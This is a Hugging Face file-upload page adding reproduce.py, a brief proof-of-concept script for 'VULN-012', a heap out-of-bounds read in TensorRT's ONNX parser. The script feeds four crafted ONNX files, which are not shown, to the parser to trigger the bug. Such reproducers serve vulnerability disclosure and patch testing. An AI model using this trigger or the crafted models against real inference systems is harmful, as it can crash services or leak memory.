Upload reproduce.py with huggingface_hub
Browse files- reproduce.py +13 -0
reproduce.py
ADDED
|
@@ -0,0 +1,13 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
"""VULN-012: Heap OOB Read in convertInt32Data<T>"""
|
| 2 |
+
import sys, tensorrt as trt
|
| 3 |
+
|
| 4 |
+
models = ['int8_oob_read.onnx','bool_oob_read.onnx','float16_oob_read.onnx','bfloat16_oob_read.onnx']
|
| 5 |
+
for m in models:
|
| 6 |
+
print(f'Testing: {m}')
|
| 7 |
+
logger = trt.Logger(trt.Logger.ERROR)
|
| 8 |
+
builder = trt.Builder(logger)
|
| 9 |
+
network = builder.create_network(1 << int(trt.NetworkDefinitionCreationFlag.EXPLICIT_BATCH))
|
| 10 |
+
parser = trt.OnnxParser(network, logger)
|
| 11 |
+
ok = parser.parse_from_file(m)
|
| 12 |
+
print(f' Result: {"parsed" if ok else "parse fail"}')
|
| 13 |
+
print('Done. If no crash, vuln may be patched.')
|